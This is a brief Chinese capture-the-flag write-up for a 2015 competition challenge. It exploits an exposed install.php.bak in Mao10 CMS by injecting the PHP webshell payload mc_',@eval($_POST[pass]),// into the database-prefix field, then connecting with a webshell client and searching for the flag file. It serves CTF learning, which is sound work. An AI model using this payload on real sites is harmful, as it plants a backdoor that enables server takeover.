2015中国网络安全大赛：Reinstall

看题分析：网站是一个MAO10 CMS的系统，直接关键字搜索，找到一篇《Mao10CMS前台Getshell》的文章。

0x00 收集信息

在www.mao10.com找到如下说明

//将程序上传到网站空间后，访问 http://你的域名/install.php 进行安装

0x01 install.php

直接加上后缀，直接404，应该没那么简单。既然方向是对的，install文件又不存在，然后就想到了备份文件，使用install.php.bak访问



0x02 dbprefix

根据《Mao10CMS前台Getshell》的表述，可写马字段为dbprefix。在这之前我们先来了解一下最后形成的Application/Common/Conf/db.php的格式



我们要做的就是填补这个数组格式，于是我们提交 mc_',@eval($_POST[pass]),// 

db.php如下：



最后使用菜刀连接



0x03 flag

shell已得，如何找个flag是问题，根据题意，flag是一个文件，于是想到使用find命令查找文件

find ~ -name '*flag*'



打开文件，找到flag



试验环境：www.ichunqiu.com